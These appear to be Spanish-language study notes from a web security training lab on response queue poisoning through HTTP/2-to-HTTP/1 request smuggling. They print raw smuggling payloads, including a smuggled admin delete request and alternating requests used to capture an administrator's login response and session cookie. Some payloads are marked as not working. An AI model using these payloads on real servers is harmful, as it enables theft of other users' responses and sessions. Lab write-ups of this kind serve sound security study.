11 - Response queue poisoning via H2.TE request smuggling
El response queue poisoning es una técnica con la que conseguimos que a los usuarios se les muestre continuadamente respuesta a peticiones que no han solicitado.
Front-end (CL) -> El frontend pilla todo como una única request
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25
x=GET / HTTP/1.1
Host: vulnerable-website.com
Back-end (TE) -> vulnerable-website.com quedaría como la tercera request, se cerraría la conexión , porque hay un error, es algo que no queremos
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25
x=GET / HTTP/1.1
Host: vulnerable-website.com
Front-end (CL)
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
Back-end (TE)
Back-end (TE) -> Así si que se interpretarían 3 request y la conexión no se cerraría
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
Usando esta técnica lo que podemos hacer es robar respuestas a request de otros usuarios :
La cosa aquí es que HTTP/2 separa en frames las conexiones y les asigna un length, por lo que no se puede explotar HTTP request smuggling, la única forma de hacerlo es con un downgrade.
El frontend no va a saber interpretar Transfer-Encoding: chunked y medirá el tamaño a su manera con la técnica de frames de HTTP/2, al contrario que el backend.
Esto no va por alguna razón :
POST / HTTP/2/r/n
Host: 0a110030048b36a1809f5db200b70006.web-security-academy.net/r/n
Cookie: session=DUwrPVDlkpgrXfoWUjvJGMDeMASnQgsD/r/n
Content-Type: application/x-www-form-urlencoded/r/n
Transfer-Encoding: chunked/r/n
/r/n
0/r/n
/r/n
GET /admin/delete?username=carlos HTTP/1.1/r/n
Host: 0a110030048b36a1809f5db200b70006.web-security-academy.net/r/n
X-Ignore: X
Ni esto :
POST / HTTP/2/r/n
Host: 0a110030048b36a1809f5db200b70006.web-security-academy.net/r/n
Cookie: session=DUwrPVDlkpgrXfoWUjvJGMDeMASnQgsD/r/n
Content-Type: application/x-www-form-urlencoded/r/n
Transfer-Encoding: chunked/r/n
/r/n
0/r/n
/r/n
GET /admin/delete?username=carlos HTTP/1.1/r/n
X-Ignore: X
Hay que tener en cuenta que el admin está haciendo una petición de inicio de sesión POST que nos devolverá una cookie con un Set-Cookie con un 302 :
POST /login HTTP/1.1
Host: tu-lab...
...
Entonces no tendría sentido cambiar la request del admin, porque no esta logueado y tiraría un 401 para el :
GET /admin/delete?username=carlos HTTP/1.1/r/n
X-Ignore: XPOST /login HTTP/1.1
Host: tu-lab...
...
Lo mejor es ir alternando 2 404 hasta que uno de ellos responda con ese 302 que se ha colado por enmedio :
POST /404 HTTP/2/r/n
Host: 0a110030048b36a1809f5db200b70006.web-security-academy.net/r/n
Cookie: session=DUwrPVDlkpgrXfoWUjvJGMDeMASnQgsD/r/n
Content-Type: application/x-www-form-urlencoded/r/n
Transfer-Encoding: chunked/r/n
/r/n
0/r/n
/r/n
GET /404 HTTP/1.1/r/n
Host: 0a110030048b36a1809f5db200b70006.web-security-academy.net/r/n
/r/n